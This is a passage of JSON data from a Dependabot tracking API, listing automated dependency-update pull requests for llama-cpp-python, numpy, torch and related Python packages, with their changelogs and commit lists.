href=\"https://github.com/abetlen/llama-cpp-python/commit/4b66c45ebc2065798f68f531376a7a60c92f942d\"\u003e\u003ccode\u003e4b66c45\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 210a6570c (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/a9b480f8b1ac20279a563d12c5d0f3567c0af960\"\u003e\u003ccode\u003ea9b480f\u003c/code\u003e\u003c/a\u003e feat: add Gemma 4 multimodal chat support (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/927b574ede274d3277ddc1786f0bf25d36e1cd60\"\u003e\u003ccode\u003e927b574\u003c/code\u003e\u003c/a\u003e docs: add Python 3.14 classifier (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2240\"\u003e#2240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/718a1ca5f17522655ae482f182f63ea3ea41d15d\"\u003e\u003ccode\u003e718a1ca\u003c/code\u003e\u003c/a\u003e feat(ci): add CUDA 13 wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/43c92a7fef5cf6588612525e081f39c2adf094ec\"\u003e\u003ccode\u003e43c92a7\u003c/code\u003e\u003c/a\u003e feat(ci): add CUDA 11.8 wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c7af423ea641dd1e5fa316516027f6effc375ef6\"\u003e\u003ccode\u003ec7af423\u003c/code\u003e\u003c/a\u003e fix(ci): add Pascal compute capability targets to CUDA wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/26633bd1a2eaf7fd0567cc5eaec8b0165a7ea0bd\"\u003e\u003ccode\u003e26633bd\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.24 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2236\"\u003e#2236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/20240609f3dcc902dfa0c59b675ad24887bc044c\"\u003e\u003ccode\u003e2024060\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to af6528e6d (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2235\"\u003e#2235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c3adb354e71ec964dd503a5aae81d16ca947e377\"\u003e\u003ccode\u003ec3adb35\u003c/code\u003e\u003c/a\u003e server types: Move 'model' parameter to clarify it is used (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1786\"\u003e#1786\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.16...v0.3.25\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.16\u0026new-version=0.3.25)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/rajamoid123-art/Ai-Voice-Agent/pull/10","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/rajamoid123-art%2FAi-Voice-Agent/issues/10","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/10/packages"},{"uuid":"4568452129","node_id":"PR_kwDOQPBwZM7hom5Z","number":868,"state":"open","title":"deps: update llama-cpp-python requirement from \u003c0.4.0,\u003e=0.3.23 to \u003e=0.3.24,\u003c0.4.0","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-02T04:37:00.000Z","updated_at":"2026-06-02T05:21:52.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps: update","packages":[{"name":"llama-cpp-python","old_version":"\u003c0.4.0,\u003e=0.3.23","new_version":"\u003e=0.3.24,\u003c0.4.0","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/26633bd1a2eaf7fd0567cc5eaec8b0165a7ea0bd\"\u003e\u003ccode\u003e26633bd\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.24 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2236\"\u003e#2236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/20240609f3dcc902dfa0c59b675ad24887bc044c\"\u003e\u003ccode\u003e2024060\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to af6528e6d (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2235\"\u003e#2235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c3adb354e71ec964dd503a5aae81d16ca947e377\"\u003e\u003ccode\u003ec3adb35\u003c/code\u003e\u003c/a\u003e server types: Move 'model' parameter to clarify it is used (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1786\"\u003e#1786\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/52cf7475f987f08f18dc5748f601b32e7b603ffe\"\u003e\u003ccode\u003e52cf747\u003c/code\u003e\u003c/a\u003e docs: update ROCm install instructions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/da07e463e19913071e5e9ea1d7c05b97c5531fa0\"\u003e\u003ccode\u003eda07e46\u003c/code\u003e\u003c/a\u003e docs: update llama.cpp build docs link (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/868712246065f6c52cd4b050474d51ed352c1398\"\u003e\u003ccode\u003e8687122\u003c/code\u003e\u003c/a\u003e docs: fix NanoLlava chat handler name in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e3aa6b5cde98e8b719aaa3bbab31a5ed72cd6805\"\u003e\u003ccode\u003ee3aa6b5\u003c/code\u003e\u003c/a\u003e docs: fix typo in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/cdb7a755c63dce6f2bc31cfbcfee269e7fcb67c7\"\u003e\u003ccode\u003ecdb7a75\u003c/code\u003e\u003c/a\u003e fix: clear prompt for recurrent / hybrid models when only a partial prefix ma...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/73ee7cd5671c07be371447ce2a1d648de0aab775\"\u003e\u003ccode\u003e73ee7cd\u003c/code\u003e\u003c/a\u003e fix(docs): remove double word typo in README (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1791\"\u003e#1791\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/33bf9d2480351d28d4a5e21626bf29f35a2e9838\"\u003e\u003ccode\u003e33bf9d2\u003c/code\u003e\u003c/a\u003e fix: correct typo in comments and settings description (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2121\"\u003e#2121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.23...v0.3.24\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/chipi/podcast_scraper/pull/868","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/chipi%2Fpodcast_scraper/issues/868","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/868/packages"},{"uuid":"4465448707","node_id":"PR_kwDOSR6pxs7cdydJ","number":8,"state":"closed","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 6 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-06-08T00:14:59.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-18T00:31:40.000Z","updated_at":"2026-06-08T00:15:01.000Z","time_to_close":1813399,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":6,"packages":[{"name":"numpy","old_version":"2.4.4","new_version":"2.4.5","repository_url":"https://github.com/numpy/numpy"},{"name":"torch","old_version":"2.11.0","new_version":"2.12.0","repository_url":"https://github.com/pytorch/pytorch"},{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.23","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ruff","old_version":"0.15.12","new_version":"0.15.13","repository_url":"https://github.com/astral-sh/ruff"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.37","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 6 updates in the /backend directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [numpy](https://github.com/numpy/numpy) | `2.4.4` | `2.4.5` |\n| [torch](https://github.com/pytorch/pytorch) | `2.11.0` | `2.12.0` |\n| [onnxruntime](https://github.com/microsoft/onnxruntime) | `1.25.1` | `1.26.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.3.21` | `0.3.23` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.15.12` | `0.15.13` |\n| [ty](https://github.com/astral-sh/ty) | `0.0.34` | `0.0.37` |\n\n\nUpdates `numpy` from 2.4.4 to 2.4.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/numpy/numpy/releases\"\u003enumpy's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.5 (May 15, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.5 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.5 is a patch release that fixes bugs discovered after the 2.4.4\nrelease, has some typing improvements, and maintains infrastructure.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 17 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAleksei Nikiforov\u003c/li\u003e\n\u003cli\u003eAnarion Zuo +\u003c/li\u003e\n\u003cli\u003eAnkit Ahlawat\u003c/li\u003e\n\u003cli\u003eBreno Favaretto +\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eIgor Krivenko +\u003c/li\u003e\n\u003cli\u003eIjtihed Kilani +\u003c/li\u003e\n\u003cli\u003eJoren Hammudoglu\u003c/li\u003e\n\u003cli\u003eMaarten Baert +\u003c/li\u003e\n\u003cli\u003eMatti Picus\u003c/li\u003e\n\u003cli\u003eNathan Goldbaum\u003c/li\u003e\n\u003cli\u003ePraneeth Kodumagulla +\u003c/li\u003e\n\u003cli\u003eRalf Gommers\u003c/li\u003e\n\u003cli\u003eRoomWithOutRoof +\u003c/li\u003e\n\u003cli\u003eSebastian Berg\u003c/li\u003e\n\u003cli\u003eWarren Weckesser\u003c/li\u003e\n\u003cli\u003ediv +\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePull requests merged\u003c/h2\u003e\n\u003cp\u003eA total of 28 pull requests were merged for this release.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31093\"\u003e#31093\u003c/a\u003e: MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31182\"\u003e#31182\u003c/a\u003e: TYP: fix \u003ccode\u003enp.shape\u003c/code\u003e assignability issue for python lists (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31171\"\u003e#31171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31197\"\u003e#31197\u003c/a\u003e: ENH: Return rank 0 for empty matrices in matrix_rank (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/30422\"\u003e#30422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31198\"\u003e#31198\u003c/a\u003e: CI/BUG: add native jobs for s390x, fix bug in \u003ccode\u003epack_inner\u003c/code\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31199\"\u003e#31199\u003c/a\u003e: BUG: f2py map complex_long_double to NPY_CLONGDOUBLE\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31205\"\u003e#31205\u003c/a\u003e: MAINT: f2py: Stop setting re._MAXCACHE to 50.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31206\"\u003e#31206\u003c/a\u003e: BUG: fix heap buffer overflow in timedelta to string casts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31207\"\u003e#31207\u003c/a\u003e: MAINT: Rename ppc64le and s390x workflow (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31121\"\u003e#31121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31208\"\u003e#31208\u003c/a\u003e: BUG: Fix matvec/vecmat in-place aliasing (out=input produces...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31209\"\u003e#31209\u003c/a\u003e: TYP: \u003ccode\u003etile\u003c/code\u003e: accept numpy scalars and arrays as second argument...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31211\"\u003e#31211\u003c/a\u003e: DEP: Undo deprecation for np.dtype() signature used by old pickles...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31212\"\u003e#31212\u003c/a\u003e: REV: Manual revert of float16 svml use (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31178\"\u003e#31178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31222\"\u003e#31222\u003c/a\u003e: TYP: \u003ccode\u003eix_\u003c/code\u003e fix for boolean and non-1d input (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31218\"\u003e#31218\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31329\"\u003e#31329\u003c/a\u003e: BUG: incorrect temp elision for new-style (NEP 43) user-defined...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31330\"\u003e#31330\u003c/a\u003e: TYP: fix sliding_window_view axis parameter typing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... 